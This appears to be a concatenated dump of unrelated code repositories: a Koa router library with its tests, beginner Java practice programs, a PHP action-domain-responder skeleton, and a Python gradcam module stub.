] | 7 | Java | luislicona/prueba | 8b75dd9b68b67f252f8557ca997b5554b1e5519b | aff01c9a01b83f5ef9661452b42cb4089d3407ea |
refs/heads/master | <file_sep>test: node_modules/
@NODE_ENV=test ./node_modules/.bin/mocha \
--require should \
--harmony \
--bail
node_modules: package.json
@npm install
clean:
@rm -rf node_modules
.PHONY: test clean
<file_sep>
var request = require('supertest');
var koa = require('koa');
var methods = require('methods').map(function (method) {
// normalize method names for tests
if (method == 'delete') method = 'del';
if (method == 'connect') return; // WTF
return method;
}).filter(Boolean)
var route = require('..');
methods.forEach(function(method) {
var app = koa();
app.use(route[method]('/:user(tj)', function* (user) {
this.body = user;
}));
describe('route.' + method + '()', function () {
describe('when method and path match', function () {
it('should 200', function (done){
request(app.listen())
[method]('/tj')
.expect(200)
.expect(method === 'head' ? '' : 'tj', done);
});
});
describe('when only method matches', function () {
it('should 404', function (done) {
request(app.listen())
[method]('/tjayyyy')
.expect(404, done);
});
});
describe('when only path matches', function () {
it('should 404', function (done) {
request(app.listen())
[method === 'get' ? 'post' : 'get']('/tj')
.expect(404, done);
});
});
});
});
describe('route.all()', function () {
describe('should work with', function () {
methods.forEach(function (method){
var app = koa();
app.use(route.all('/:user(tj)', function* (user){
this.body = user;
}))
it(method, function (done){
request(app.listen())
[method]('/tj')
.expect(200)
.expect(method === 'head' ? '' : 'tj', done);
});
});
});
describe('when patch does not match', function () {
it('should 404', function (done) {
var app = koa();
app.use(route.all('/:user(tj)', function* (user) {
this.body = user;
}));
request(app.listen())
.get('/tjayyyyyy')
.expect(404, done);
});
});
});
describe('route params', function () {
methods.forEach(function (method) {
var app = koa();
app.use(route[method]('/:user(tj)', function* (user, next) {
yield next;
}));
app.use(route[method]('/:user(tj)', function* (user, next) {
this.body = user;
yield next;
}))
app.use(route[method]('/:user(tj)', function* (user, next) {
this.status = 201;
}))
it('should work with method ' + method, function (done){
request(app.listen())
[method]('/tj')
.expect(201)
.expect(method === 'head' ? '' : 'tj', done);
});
});
it('should be decoded', function(done){
var app = koa();
app.use(route.get('/package/:name', function *(name){
name.should.equal('http://github.com/component/tip');
done();
}));
request(app.listen())
.get('/package/' + encodeURIComponent('http://github.com/component/tip'))
.end(function(){});
});
});
describe('multiple route fns', function () {
it('should handle more than one fn', function (done) {
var app = koa();
function* intermediateFn (name) {
name.should.equal('hallas');
}
app.use(route.get('/users/:name', intermediateFn, function* (name) {
name.should.equal('hallas');
done();
}));
request(app.listen())
.get('/users/hallas')
.end(function() {});
});
it('should throw in intermediate', function (done) {
var app = koa();
function* intermediateFn (name) {
try {
this.throw('intermediate error');
} catch (err) {
err.should.be.an.Error;
}
}
app.use(route.get('/users/:name', intermediateFn, function* (name) {
name.should.equal('hallas');
done();
}));
request(app.listen())
.get('/users/hallas')
.end(function() {});
});
it('should pass ctx along', function (done) {
var app = koa();
function* intermediateFn (firstName, lastName) {
this.fullName = firstName + ' ' + lastName;
}
app.use(route.get('/users/:first/:last', intermediateFn, function* (first, last) {
this.fullName.should.equal(first + ' ' + last);
done();
}));
request(app.listen())
.get('/users/chris/hallas')
.end(function() {});
});
});
describe('paramify', function () {
var param = route.param;
var get = route.get;
var app = koa();
param('user', function* (id) {
if (id == '1') {
this.user = { name: 'one' };
} else {
this.status = 404;
}
});
param('user', function* (id) {
this.pre = 'lol: ';
});
app.use(get('/:user', function* () {
this.body = this.pre + this.user.name;
}));
it('should work without params', function (done) {
var app = koa();
app.use(route.get('/', function* (user) {
this.body = 'home';
}));
request(app.listen())
.get('/')
.expect('home', done);
});
it('should work without param fns', function (done) {
var app = koa();
app.use(route.get('/:user', function* (user) {
this.body = user;
}));
request(app.listen())
.get('/julian')
.expect('julian', done);
});
it('should work with param fns', function (done) {
var app = koa();
route.param('user', function* (id) {
this.user = 'julian';
});
app.use(route.get('/:user', function* () {
this.body = this.user;
}));
request(app.listen())
.get('/julian')
.expect('julian', done);
});
it('should work with multiple params', function (done) {
var app = koa();
route.param('user', function* (id) {
this.user = 'julian';
});
route.param('repo', function* (id) {
this.repo = 'repo';
});
app.use(route.get('/:user/:repo', function* () {
this.body = this.user + ': ' + this.repo;
}));
request(app.listen())
.get('/julian/repo')
.expect('julian: repo', done);
});
it('should abort inside param fns', function (done) {
var app = koa();
route.param('user', function* (id) {
this.status = 404;
});
app.use(route.get('/:user', function* () {
this.body = this.user;
}));
request(app.listen())
.get('/julian')
.expect(404, done);
});
it('should accept middleware', function (done) {
var app = koa();
route.param('user', function* (id) {
this.user = 'julian';
});
route.param('user', function* () {
this.user = this.user.toUpperCase();
});
app.use(route.get('/:user', function* () {
this.body = this.user;
}));
request(app.listen())
.get('/julian')
.expect('JULIAN', done);
});
});
<file_sep>Simple router for Koa but with some nice features such as params and multiple
route handlers.
```js
var app = require('koa')();
var dispatch = require('koa-dispatch');
dispatch.param('name', function* (name) {
if (name == 'walter') this.noAccess = true;
this.pet = { name: name };
});
function* hasPermission () {
if (this.noAccess) this.throw(403);
}
function* getPet () {
this.body = this.pet;
}
app.use(dispatch.get('/pets/:name', hasPermission, getPet));
app.listen(3000);
```
## Installation
```
$ npm install koa-dispatch
```
## Test
```
$ make test
```
## License
MIT
<file_sep>var app = require('koa')();
var dispatch = require('.');
dispatch.param('name', function* (name) {
if (name == 'walter') this.noAccess = true;
this.pet = { name: name };
});
function* hasPermission () {
if (this.noAccess) this.throw(403);
}
function* getPet () {
this.body = this.pet;
}
app.use(dispatch.get('/pets/:name', hasPermission, getPet));
app.listen(3000);
<file_sep>/**
* Module dependencies.
*/
var pathToRegexp = require('path-to-regexp');
var methods = require('methods');
var assert = require('assert');
var debug = require('debug')('koa-dispatch');
/**
* Method handlers.
*
* These are all added to the public api.
*/
methods.forEach(function (method) {
exports[method] = create(method);
});
exports.del = exports.delete;
// for when you just don't care about the method
exports.all = create();
/**
* @param {String} method
* @return {GeneratorFunction}
* @api private
*/
function create (method) {
// uppercase... because just in-case
if (method) method = method.toUpperCase();
return function (path) {
// we allow for multiple handlers on a route
var fns = Array.prototype.slice.call(arguments, 1);
// but we need atleast one
var fn = fns.pop();
assert(fn, 'route must have atleast one handler');
// we want to extract the params from the path
var params = [];
var re = pathToRegexp(path, params);
debug('%s %s -> %s', method, path, re);
// paramify the params, transforming them to their corresponding paramifying
// functions
params = paramify(params);
return function* (next) {
// if the method of the route isn't set or doesn't equal the method of the
// request, we simply skip
if (method && method != this.method) return yield next;
var match = re.exec(this.path);
// if the path of the request doesn't match the route, we skip
if (!match) return yield next;
// we have a winner, the path matched one of our routes, we expose the
// targeted controller
this.controller = fn.name;
// decode uri components on all path arguments
var args = match.slice(1).map(decodeURIComponent);
debug('%s %s matches %s %j', this.method, path, this.path, args);
// save the ctx applificiation so that we can apply the same arguments and
// ctx to both the paramifiers and the preceding handlers
var ctx = apply(this, args);
// run the paramifiers, notice, they do not receive the next generator
yield params.map(ctx);
// run the preceding handlers, they do not receive the next generator
// either
yield fns.map(ctx);
// pass along the next generator
args.push(next);
yield fn.apply(this, args);
}
}
}
/**
* @param {Object} ctx
* @param {Array} args
*/
function apply (ctx, args) {
return function (fn) {
return fn.apply(ctx, args);
};
}
/**
* Paramification.
*/
exports._paramifiers = {};
/**
* @param {String}
* @param {GeneratorFunction}
* @api public
*/
exports.param = function (param, fn) {
(exports._paramifiers[param] = exports._paramifiers[param] || []).push(fn);
}
/**
* @param {Array} params
* @api private
*/
function paramify (params) {
// filter out the params that we dont have paramifiers for and then return
// those we do have
var params = params
.filter(function (key) { return !!exports._paramifiers[key.name] })
.map(function (key) { return exports._paramifiers[key.name]; })
.map(applyArg);
// flatten the functions so we can yield them nicely
return Array.prototype.concat.apply([], params);
}
/**
* @param {Array} fns
* @param {Number} i
* @api private
*/
function applyArg (fns, i) {
return fns.map(function (fn) {
return function () {
return fn.call(this, arguments[i]);
};
});
}
| d66afd6bd5ab59f323aaf182066a4842033a0a7e | [
"JavaScript",
"Makefile",
"Markdown"
] | 5 | Makefile | mojn/koa-dispatch | 4f8a2673593869d64ba726d70839f657b1a39697 | 56c54fabeb18d2477013151db623fb0753403b87 |
refs/heads/main | <repo_name>SKNarayan/JavaProgramming<file_sep>/Interview/src/number/swapNumber.java
package number;
import java.util.Scanner;
public class swapNumber {
public static void main(String[] args){
Scanner scanner = new Scanner(System.in);
System.out.println("Enter your first number to swap");
int firstNumber = scanner.nextInt();
System.out.println("Enter your second number to swap");
int secondNumber = scanner.nextInt();
System.out.println("Numbers before swapping: \nFirst number is: " + firstNumber + " and \n" + "Second number is: " + secondNumber +"\n");
swapNumbersUsingThirdVariable(firstNumber, secondNumber);
swapNumbersWithoutUsingThirdVariable(firstNumber, secondNumber);
}
public static void swapNumbersUsingThirdVariable(int firstNumber, int secondNumber){
System.out.println("Write a Java Program to swap two numbers using the third variable.");
int temp;
temp = firstNumber;
firstNumber = secondNumber;
secondNumber = temp;
System.out.println("Numbers after swapping: \nFirst number is: " + firstNumber + " and \n" + "Second number is: " + secondNumber);
System.out.println();
}
public static void swapNumbersWithoutUsingThirdVariable(int firstNumber, int secondNumber){
System.out.println("Write a Java Program to swap two numbers without using the third variable.");
firstNumber = firstNumber + secondNumber;
secondNumber = firstNumber - secondNumber;
firstNumber = firstNumber - secondNumber;
System.out.println("Numbers after swapping: \nFirst number is: " + firstNumber + " and \n" + "Second number is: " + secondNumber);
System.out.println();
}
}
<file_sep>/Interview/src/map/MapIteration.java
package map;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
public class MapIteration {
public static void main(String[] args){
Map<Integer, String> studentDetails = new HashMap<>();
studentDetails.put(101, "Divit");
studentDetails.put(108, "Lokesh");
studentDetails.put(112, "Praveen");
studentDetails.put(129, "Pankaj");
studentDetails.put(137, "Raghav");
studentDetails.put(140, "Dinesh");
studentDetails.put(144, "Amish");
System.out.println("Iterating hashmap using keySet() method");
keySetIteration(studentDetails);
System.out.println("----------------------------------");
System.out.println("Iterating hashmap using Iterator() method");
iteratorInMap(studentDetails);
System.out.println("-----------------------------------");
System.out.println("Iterating hashmap using EntrySet() method");
entrySetMap(studentDetails);
System.out.println("-------------------------------------");
System.out.println("Iterating hashmap using Streams of java8");
streams(studentDetails);
System.out.println("---------------------------------------");
}
//Iterating hashmap using keySet() method
private static void keySetIteration(Map<Integer, String> studentDetails) {
for(Integer rollNumber : studentDetails.keySet()){
System.out.println("RollNumber = " + rollNumber + " " + "StudentName = " + studentDetails.get(rollNumber));
}
}
//Iterating hashmap using Iterator() method
private static void iteratorInMap(Map<Integer, String> studentDetails) {
Iterator<Map.Entry<Integer, String>> iterator = studentDetails.entrySet().iterator();
while (iterator.hasNext()){
Map.Entry<Integer, String> entry = iterator.next();
System.out.println("RollNumber = " + entry.getKey() + " " + "StudentName = " + entry.getValue());
}
}
//Iterating hashmap using EntrySet() method
private static void entrySetMap(Map<Integer, String> studentDetails) {
for (Map.Entry<Integer, String> stringEntry :studentDetails.entrySet()) {
System.out.println("key = " + stringEntry.getKey());
System.out.println("value = " + stringEntry.getValue());
}
}
//Iterating hashmap using streams of java8
private static void streams(Map<Integer, String> studentDetails){
}
}
<file_sep>/README.md
# JavaProgramming
Java programming for practice
<file_sep>/Interview/src/patternPractice/Pattern4.java
package patternPractice;
public class Pattern4 {
public static void main(String[] args) {
for(char c='A'; c<='E'; c++ ){
for(int j=1; j<=5; j++){
System.out.print(c +" ");
}
System.out.println();
}
}
}
<file_sep>/Interview/src/commonProgramm/SortedSetDemo.java
package commonProgramm;
import java.util.TreeSet;
public class SortedSetDemo {
public static void main(String args[]){
TreeSet ts = new TreeSet();
//ts.add(1200);
ts.add(100);
ts.add(200);
ts.add(300);
ts.add(400);
ts.add(500);
ts.add(600);
ts.add(700);
ts.add(800);
ts.add(900);
ts.add(1000);
System.out.println(ts);
System.out.println(ts.first());
System.out.println(ts.last());
System.out.println(ts.headSet(400));
System.out.println(ts.tailSet(600));
System.out.println(ts.subSet(300, 800));
System.out.println(ts.comparator());
}
}
<file_sep>/Interview/src/number/ReverseNumber.java
package number;
import java.util.Scanner;
public class ReverseNumber {
public static void main(String[] args){
System.out.println("Program Name: Write a java program to reverse a number in Java");
Scanner scanner = new Scanner(System.in);
System.out.println("Enter a number");
int inputNumber = scanner.nextInt();
reverseNumberUsingAlgorithm(inputNumber);
System.out.println("---------------------");
reverseNumberUsingStringBuffer(inputNumber);
System.out.println("#########################");
reverseNumberUsingStringBuilder(inputNumber);
}
public static void reverseNumberUsingAlgorithm(int number){
int reverseNumber = 0;
while(number != 0){
reverseNumber = reverseNumber * 10 + number % 10;
number = number / 10;
}
System.out.println("Reverse number is using Algorithm: " + reverseNumber);
}
public static void reverseNumberUsingStringBuffer(int number){
//convert the number in string format using String.valueOf(num)
StringBuffer stringBuffer = new StringBuffer(String.valueOf(number));
StringBuffer reverseNumber = stringBuffer.reverse();
System.out.println("Reverse number using string buffer: " + reverseNumber);
}
public static void reverseNumberUsingStringBuilder(int number){
//here we use reverse method of String Builder class
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(number);
StringBuilder reverseNumber = stringBuilder.reverse();
System.out.println("Reverse number using string builder: " + reverseNumber);
}
}
<file_sep>/Interview/src/patternPractice/Pattern8.java
package patternPractice;
public class Pattern8{
public static void main(String[] args) {
for(char c='E'; c>='A'; c--){
for(int i=1; i<=5; i++){
System.out.print(c+" ");
}
System.out.println();
}
}
}
<file_sep>/Interview/src/array/FindMaximumElementInArray.java
package array;
public class FindMaximumElementInArray {
public static void main(String[] args) {
int[] a = {3, 9, 7, 8, 12, 6, 15, 5 , 4, 10};
System.out.println("Maximum number of element in array is: " + (a.length));
for(int i = 0; i < a.length-1; i++){
}
}
}
<file_sep>/Interview/src/hackerrankPractice/StringBasic.java
package hackerrankPractice;
import java.util.Scanner;
public class StringBasic {
public static void main(String[] args) {
Scanner sc=new Scanner(System.in);
String A=sc.next();
String B=sc.next();
/* Enter your code here. Print output to STDOUT. */
int a = A.length();
int b = B.length();
System.out.println(a+b);
int wordASCIIValueOfA = 0;
for(int i=0; i<A.length(); i++) {
char chOfA = A.charAt(i);
int charValueOfA = (int)chOfA;
wordASCIIValueOfA = wordASCIIValueOfA + charValueOfA;
char ch0 = A.charAt(0);
char chCapital = Character.toUpperCase(ch0);
char[] chRest = A.toCharArray();
for(int j=1; j < A.length(); j++){
char[] nch = A.toCharArray();
for(char cc : nch);
// String newStr = chCapital+cc;
}
}
int wordASCIIValueOfB = 0;
for(int i=0; i < B.length(); i++){
char chOfB = B.charAt(i);
int charValueOfB = (int)chOfB;
wordASCIIValueOfB = wordASCIIValueOfB + charValueOfB;
}
if(wordASCIIValueOfA > wordASCIIValueOfB){
System.out.println("Yes");
}else {
System.out.println("No");
}
}
}
<file_sep>/Interview/src/commonProgramm/ConvertStringToEnum.java
package commonProgramm;
import java.util.Scanner;
//way to define the enum, where to define the enum
enum Days {
SUNDAY, MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDADY
}
public class ConvertStringToEnum {
public static void main(String[] args){
ConvertStringToEnum convertStringToEnum = new ConvertStringToEnum();
try {
Scanner scanner = new Scanner(System.in);
String inputStr = scanner.nextLine();
convertStringToEnum.lookUp(inputStr);
}catch (IllegalArgumentException e){
System.out.println(" No enum constant available ");
}
}
public void lookUp(String str){
Days day = Days.valueOf(str.toUpperCase());
System.out.println("Found Enum: " + day);
}
}
<file_sep>/Interview/src/array/FindSumOfAllElementsInArray.java
package array;
public class FindSumOfAllElementsInArray {
public static void main(String[] args) {
int[] a = {3,9,7,8,12,6,15,5,4,10};
int sum = 0;
for(int x : a){
sum += x;
}
System.out.println(sum);
}
}
<file_sep>/Interview/src/commonProgramm/SortingBasedOnDNSOOfListElements.java
package commonProgramm;
import java.util.ArrayList;
import java.util.Collections;
public class SortingBasedOnDNSOOfListElements {
public static void main(String args[]){
ArrayList l = new ArrayList();
l.add("Z");
l.add("A");
l.add("K");
l.add("N");
//l.add(new Integer(10);
//l.add(null);
System.out.println("Before sorting: "+ l);
Collections.sort(l);
System.out.println("After sorting: "+ l);
}
}
<file_sep>/Interview/src/string/SortString.java
package string;
import java.util.List;
import java.util.Arrays;
public class SortString {
public static void main(String[] args){
System.out.println("Programm Name : Write code to sort the list of strings using Java collection");
String[] inputString = {"Jan", "Feb", "Mar", "Apr", "May", "Jun", "July", "Aug", "Sep", "Oct", "Nov", "Dec"};
//Display un-sorted list
System.out.println("------Un-sorted list------");
showList(inputString);
//Call to sort the input list
Arrays.sort(inputString);
//Display sorted list
System.out.println("\n-------sorted list--------");
showList(inputString);
//Call to sort the input list in case sensetive-order
System.out.println("\n--------sorted list in case sensetive-order--------");
Arrays.sort(inputString, String.CASE_INSENSITIVE_ORDER);
//Display the sorted list
showList(inputString);
}
public static void showList(String[] array){
for(String str : array){
System.out.println(str);
}
System.out.println();
}
}
<file_sep>/Interview/src/commonProgramm/FibonacciRecursion.java
package commonProgramm;
import java.util.Scanner;
public class FibonacciRecursion {
static long n1 =0, n2 = 1, n3;
static long num;
public static void main(String args[]){
Scanner sc = new Scanner(System.in);
num = sc.nextInt();
System.out.print(n1 + " " + n2);
FibonacciRecursion.fib(num);
}
public static void fib(long num){
if(num >=1){
n3 = n2 + n1;
System.out.print(" " + n3);
n1 = n2;
n2 = n3;
FibonacciRecursion.fib(num-1);
}
}
}
<file_sep>/Interview/src/string/ReverseStringWithoutReverseMethod.java
package string;
import java.util.Scanner;
public class ReverseStringWithoutReverseMethod {
public static void main(String[] args){
System.out.println("Program Name: Write a Java Program to reverse a string without using String inbuilt function reverse().");
Scanner scanner = new Scanner(System.in);
System.out.println("\n Enter your string, Please !! ");
String inputString = scanner.nextLine();
System.out.println("\n Below is the Reversed String: " );
reverseStringUsingForLoop(inputString);
System.out.println();
reverseStringUsingWhileLoop(inputString);
System.out.println();
String reversedString = reverseStringUsingStaticMethodCall(inputString);
System.out.println(reversedString);
}
public static void reverseStringUsingForLoop(String inputString){
System.out.println("Reversed string using for loop\n");
char chars[] = inputString.toCharArray(); //converted to char array
for(int i=chars.length-1; i>=0; i--){
System.out.print(chars[i]);
}
}
public static void reverseStringUsingWhileLoop(String inputString){
System.out.println("Reversed string using while loop\n");
int i = inputString.length();
while(i>0){
System.out.print(inputString.charAt(i-1));
i--;
}
}
public static String reverseStringUsingStaticMethodCall(String inputString){
System.out.println("Reversed string by calling static method \n");
String reversedString = "";
for(int i=inputString.length(); i>0; i--){
reversedString = reversedString + (inputString.charAt(i-1));
}
return reversedString;
}
}
<file_sep>/Interview/src/patternPractice/Pattern23.java
package patternPractice;
public class Pattern23 {
public static void main(String args[]){
for(char c = 'A'; c <= 'E'; c++){
for(char ch = 'E'; ch >= c; ch--){
System.out.print(ch+" ");
}
System.out.println();
}
}
}
<file_sep>/Interview/src/patternPractice/Pattern14.java
package patternPractice;
public class Pattern14 {
public static void main(String args[]){
for(char c ='A'; c <='E'; c++){
for(char ch='A'; ch<=c; ch++){
System.out.print(ch+" ");
}
System.out.println();
}
}
}
<file_sep>/Interview/src/patternPractice/Pattern5.java
package patternPractice;
public class Pattern5 {
public static void main(String[] args) {
for(char c='A'; c<='E'; c++){
for(char ch='A'; ch <='E'; ch++){
System.out.print(ch +" ");
}
System.out.println();
}
}
}
| 50f8908a21e991bacb9ba11024e061b05ca53040 | [
"Markdown",
"Java"
] | 18 | Java | SKNarayan/JavaProgramming | fd58cbac21cdf3e0b4aab640950b462ce93f1193 | 5f50ec874605218732c117c51e942968401e24da |
refs/heads/master | <repo_name>salahtobok/adrPhpPattern<file_sep>/AdrPhpPattern/includes/configuration/config.inc.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 26-09-2017
* Time: 12:33
*/
//include system constants
require_once 'declaration/constants.inc.php';<file_sep>/AdrPhpPattern/includes/system/declaration/autoloaderDeclaration.inc.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 25-09-2017
* Time: 23:58
*/
//Path declaration
// Going up
$path = dirname(__DIR__);
$path = dirname($path);
$path = dirname($path);
define("AUTOLOADER_PATH", $path. '/classes/system/adrDp/Autoloader.php');
// require the autoloader class file
require_once AUTOLOADER_PATH;
// STATIC OPTION: registering a static method with SPL
spl_autoload_register(array('System\ADRdp\Autoloader', 'loadStatic'));
// unset path variable content
unset($path);
<file_sep>/AdrPhpPattern/includes/system/initialize.inc.php
<?php
//Include Setup file
require 'setup.inc.php';
//Include config file
require WWW_ROOT.'\includes\configuration\config.inc.php';
// output buffering is turned on
ob_start();
// turn on sessions
session_start();
// ****************************************** //
// ************ ERROR MANAGEMENT ************ //
$managementErrorHandler = new System\Management\ErrorHandler();
// Use my error handler:
//DEFINE('LIVE', true);
//
//set_error_handler($managementErrorHandler->my_error_handler());
// ************ ERROR MANAGEMENT ************ //
// ****************************************** //<file_sep>/AdrPhpPattern/views/system/not-found.html.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 25-09-2017
* Time: 23:08
*/
$this->header('HTTP/1.1 404 Not Found'); ?>
<html>
<head>
<title>Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p><?php echo $this->esc($url_path); ?></p>
</body>
</html><file_sep>/AdrPhpPattern/includes/system/setup.inc.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 25-09-2017
* Time: 17:38
*/
// ... setup code ...
//include autoloader declaration
require_once 'declaration/autoloaderDeclaration.inc.php';
//include system constants
require_once 'declaration/constants.inc.php';
<file_sep>/AdrPhpPattern/pages/not-found.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 25-09-2017
* Time: 22:56
*/
//Include setup file
require dirname(__DIR__) . '/includes/system/initialize.inc.php';
$request = new System\ADRdp\Request($GLOBALS);
$response = new System\ADRdp\Response(VIEW_DIR);
$controller = new \Controller\System\NotFound($request, $response);
$response = $controller->__invoke();
$response->send();<file_sep>/AdrPhpPattern/includes/dataBase/credentials.inc.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 27-09-2017
* Time: 10:13
*/
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', '<PASSWORD>');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'bai3net');
DEFINE ('DB_CS', 'utf8');
<file_sep>/AdrPhpPattern/includes/configuration/declaration/constants.inc.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 26-09-2017
* Time: 12:33
*/
//// Are we live?
//if (!defined('LIVE')) DEFINE('LIVE', false);
// Errors are emailed here:
DEFINE('NOTIFICATION_EMAIL', '<EMAIL>');
DEFINE('CONTACT_EMAIL', '<EMAIL>');
<file_sep>/AdrPhpPattern/docroot/front.php
<?php
require_once dirname(__DIR__) . '/includes/system/initialize.inc.php';
require_once dirname(__DIR__) . '/includes/system/services.inc.php';
// get the shared router service
$router = $di->get('router');
// match against the url path
$path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$route = $router->match($path);
// container service, or page script?
if ($di->has($route)) {
// create a new $controller instance
$controller = $di->newInstance($route);
// invoke the controller and send the response
$response = $controller->__invoke();
$response->send();
} else {
// require the page script
require $route;
}
<file_sep>/AdrPhpPattern/includes/dataBase/pdo_connect.inc.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 28-09-2017
* Time: 18:31
*/
// Set the database access information as constants:
require_once 'credentials.inc.php';
/* Connect to a MySQL database using driver invocation */
$dsn = 'mysql:dbname='.DB_NAME.';';
$dsn = $dsn.'host='.DB_HOST;
$dsn = $dsn.'charset='.DB_CS;
$db = new PDO($dsn,DB_USER,DB_PASSWORD);<file_sep>/AdrPhpPattern/classes/controller/system/NotFound.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 27-09-2017
* Time: 8:24
*/
namespace Controller\System;
use System\ADRdp\Request;
use System\ADRdp\Response;
class NotFound
{
protected $request;
protected $response;
public function __construct(Request $request, Response $response)
{
$this->request = $request;
$this->response = $response;
}
public function __invoke()
{
$url_path = parse_url(
$this->request->server['REQUEST_URI'],
PHP_URL_PATH
);
$this->response->setView('system/not-found.html.php');
$this->response->setVars(array(
'url_path' => $url_path,
));
return $this->response;
}
public function lolo()
{
echo "The total volume is: ";
}
}<file_sep>/AdrPhpPattern/includes/system/services.inc.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 25-09-2017
* Time: 17:28
*/
// set a container service for the router
$pages_dir = dirname(__DIR__);
$pages_dir = dirname($pages_dir) . '/pages';
$di = new \System\ADRdp\Di($GLOBALS);
//Global Services
$di->set('router', function () use ($di) {
$router = new \System\ADRdp\Router($di->pages_dir);
$router->setRoutes(include 'routes.inc.php');
return $router;
});
$di->set('request', function () use ($di) {
return new \System\ADRdp\Request($GLOBALS);
});
$di->set('response', function () use ($di) {
return new \System\ADRdp\Response(VIEW_DIR);
});
$di->set('not-found', function () use ($di) {
return new \Controller\System\NotFound($di->get('request'),$di->get('response'));
});
//Include Another Services
require_once 'services\systems\signIn\signIn.php';<file_sep>/AdrPhpPattern/classes/system/user/OperationsHandler.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 29-09-2017
* Time: 14:29
*/
namespace System\User;
class OperationsHandler
{
/**
* OperationsHandler constructor.
*/
public function __construct()
{
}
// ******************************************* //
// ************ REDIRECT FUNCTION ************ //
// This function redirects invalid users.
// It takes two arguments:
// - The session element to check
// - The destination to where the user will be redirected.
function redirect_invalid_user($check = 'user_id', $destination = 'index.php', $protocol = 'http://') {
// Check for the session item:
if (!isset($_SESSION[$check])) {
$url = $protocol . BASE_URL . $destination; // Define the URL.
header("Location: $url");
exit(); // Quit the script.
}
} // End of redirect_invalid_user() function.
// ************ REDIRECT FUNCTION ************ //
// ******************************************* //
// Omit the closing PHP tag to avoid 'headers already sent' errors!
}<file_sep>/AdrPhpPattern/classes/system/adrDp/Autoloader.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 25-09-2017
* Time: 19:05
*/
namespace System\ADRdp;
class Autoloader
{
// define an autoloader function in the global namespace
static public function loadStatic($class)
{
// strip off any leading namespace separator from PHP 5.3
$class = ltrim($class, '\\');
// the eventual file path
$subpath = '';
// is there a PHP 5.3 namespace separator?
$pos = strrpos($class, '\\');
if ($pos !== false) {
// convert namespace separators to directory separators
$ns = substr($class, 0, $pos);
$subpath = str_replace('\\', DIRECTORY_SEPARATOR, $ns)
. DIRECTORY_SEPARATOR;
// remove the namespace portion from the final class name portion
$class = substr($class, $pos + 1);
}
// convert underscores in the class name to directory separators
$subpath .= str_replace('_', DIRECTORY_SEPARATOR, $class);
// the path to our central class directory location
// go "up one directory" for the central classes location
$dir = dirname(__DIR__) ;
$dir = dirname($dir) ;
// prefix with the central directory location and suffix with .php,
// then require it.
$file = $dir . DIRECTORY_SEPARATOR . $subpath . '.php';
require $file;
}
}
<file_sep>/AdrPhpPattern/includes/system/routes.inc.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 25-09-2017
* Time: 17:35
*/
return array(
'/signIn' => 'signIn'
);<file_sep>/AdrPhpPattern/classes/system/management/ErrorHandler.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 29-09-2017
* Time: 14:12
*/
namespace System\Management;
class ErrorHandler
{
// Function for handling errors.
// Takes five arguments: error number, error message (string), name of the file where the error occurred (string)
// line number where the error occurred, and the variables that existed at the time (array).
// Returns true.
/**
* ErrorHandler constructor.
*/
public function __construct()
{
}
public function my_error_handler($e_number = null, $e_message = null, $e_file = null, $e_line = null, $e_vars = null) {
// Build the error message:
$message = "An error occurred in script '$e_file' on line $e_line:\n$e_message\n";
// Add the backtrace:
$message .= "<pre>" .print_r(debug_backtrace(), 1) . "</pre>\n";
// Or just append $e_vars to the message:
// $message .= "<pre>" . print_r ($e_vars, 1) . "</pre>\n";
if (!LIVE) { // Show the error in the browser.
echo '<div class="alert alert-danger">' . nl2br($message) . '</div>';
} else { // Development (print the error).
// Send the error in an email:
error_log ($message, 1, NOTIFICATION_EMAIL, 'From:<EMAIL>');
// Only print an error message in the browser, if the error isn't a notice:
if ($e_number != E_NOTICE) {
echo '<div class="alert alert-danger">A system error occurred. We apologize for the inconvenience.</div>';
}
} // End of $live IF-ELSE.
return true; // So that PHP doesn't try to handle the error, too.
} // End of my_error_handler() definition.
}<file_sep>/AdrPhpPattern/includes/system/declaration/constants.inc.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 26-09-2017
* Time: 12:33
*/
// View folder path
$path = dirname(__DIR__);
$path = dirname($path);
$path = dirname($path);
define("VIEW_DIR", $path . '/views');
// unset path variable content
// Determine location of files and the URL of the site:
define ('BASE_URI', '/docroot');
define ('WWW_ROOT', $path);
define ('BASE_URL', 'localhost');
unset($path);
<file_sep>/AdrPhpPattern/pages/index.php
<?php
/**
* Created by PhpStorm.
* User: salahtobok
* Date: 14-08-2017
* Time: 10:11
*/
echo phpinfo();
| aa2ee35baf8bb8609c7424902750663703e9694c | [
"PHP"
] | 18 | PHP | salahtobok/adrPhpPattern | 7da5ab501374b451dd0ffd7cdb5dd6aa48472675 | 0bdac20d1c3edd28da3fb71a4632fe024f8e8a36 |
refs/heads/master | <file_sep>from gradcam.gradcam import GradCAM, GradCAMpp
from gradcam.utils import visualize_cam
from gradcam.grad_cam_viz import gradcam_plot
__all__ = ['GradCAM', 'GradCAMpp']
<file_sep>## Team Members
* <NAME>
* <NAME>
* <NAME>
* <NAME>
## Dataset Preparation for Monocular Depth Estimation
* We have a total of 3590 images of people wearing Hardhat, Vest, Mask and Boots which will be used for Dataset generation.
* We need heat maps, Segmented images for the project
